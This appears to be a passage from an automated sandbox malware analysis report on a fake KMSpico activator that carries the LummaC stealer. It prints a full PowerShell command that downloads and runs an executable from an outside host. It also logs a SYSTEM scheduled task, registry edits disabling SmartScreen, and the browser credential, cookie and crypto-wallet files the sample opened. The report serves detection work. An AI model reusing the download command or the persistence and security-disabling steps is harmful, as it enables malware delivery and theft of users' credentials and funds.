              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /FJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 4228 -ip 4228
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4228 -s 1632
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass $response = invoke-webrequest -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/102.0.0.0 safari/537.36' -uri 'https://myspecialdot.com/api/download' -usebasicparsing $tempfile = [system.io.path]::gettempfilename() $filepath = "$($tempfile).exe" [system.io.file]::writeallbytes($filepath, $response.content) start-process -filepath $filepath
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass $response = invoke-webrequest -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/102.0.0.0 safari/537.36' -uri 'https://myspecialdot.com/api/download' -usebasicparsing $tempfile = [system.io.path]::gettempfilename() $filepath = "$($tempfile).exe" [system.io.file]::writeallbytes($filepath, $response.content) start-process -filepath $filepathJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0042E09C AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,6_2_0042E09C
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: GetLocaleInfoA,3_2_0040520C
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: GetLocaleInfoA,3_2_00405258
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: GetLocaleInfoA,6_2_00408568
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: GetLocaleInfoA,6_2_004085B4
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Program Files\KMSpico\KMSELDI.exeQueries volume information: C:\Program Files\KMSpico\KMSELDI.exe VolumeInformation
              Source: C:\Program Files\KMSpico\KMSELDI.exeQueries volume information: C:\Program Files\KMSpico\DevComponents.DotNetBar2.dll VolumeInformation
              Source: C:\Program Files\KMSpico\KMSELDI.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
              Source: C:\Program Files\KMSpico\KMSELDI.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Program Files\KMSpico\AutoPico.exeQueries volume information: C:\Program Files\KMSpico\AutoPico.exe VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004585C8 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,6_2_004585C8
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_004026C4 GetSystemTime,3_2_004026C4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0045559C GetUserNameA,6_2_0045559C
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00405CF4 GetVersionExA,3_2_00405CF4
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Disables the Smart Screen filter
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System EnableSmartScreenJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer SmartScreenEnabled OffJump to behavior
              Source: core.exe, 00000004.00000003.2783641679.000000000092B000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.3433423675.0000000000929000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2811601375.0000000000929000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2783641679.0000000000921000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2785190359.000000000092D000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2784071867.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2821591602.0000000000929000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

              Stealing of Sensitive Information

              barindex
              Yara detected LummaC Stealer
              Source: Yara matchFile source: Process Memory Space: core.exe PID: 6112, type: MEMORYSTR
              Source: Yara matchFile source: 00000004.00000002.4008673426.0000000002630000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
              Found many strings related to Crypto-Wallets (likely being stolen)
              Source: core.exe, 00000004.00000003.2811601375.000000000091E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: \Electrum\\wallets","m":["*"],"z":"Wallets/Electrum","d":0,"fs":20971520},{"4
              Source: core.exe, 00000004.00000003.2811601375.000000000091E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: 20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"WalleaV
              Source: core.exe, 00000004.00000003.2811601375.000000000091E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: ":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\Ind
              Source: core.exe, 00000004.00000003.2771114165.0000000000917000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: tore.json",".finger-print.fp","simple-storage.json","window-state.json"],"z"8
              Source: core.exe, 00000004.00000003.2771114165.0000000000917000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: ":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","dD
              Source: core.exe, 00000004.00000003.2783641679.000000000092B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: ExodusWeb3
              Source: core.exe, 00000004.00000003.2771114165.0000000000917000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971
              Source: core.exe, 00000004.00000003.2771884844.000000000089B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
              Source: core.exe, 00000004.00000003.2771114165.0000000000917000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbnJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchhJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjpJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.dbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\HistoryJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcelljJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbicJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HistoryJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcgeJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfddJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgppJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihdJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpoJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnfJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihohJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclgJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqliteJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkmJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoaddJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilcJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpiJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaadJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpakJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapacJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdafJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnknoJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmjJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqliteJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkpJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdilJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdmaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbchJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcmJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklkJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdmJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddffflaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkldJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgefJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhiJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\ProfilesJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnidJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcobJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffneJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimigJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncgJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For AccountJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjhJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgikJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdphJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcjeJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopgJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnbaJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhaeJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdoJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjehJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfciJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.jsJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliofJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmonJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhmJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjihJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhadJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflcJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbaiJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajbJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappaflnJump to behavior
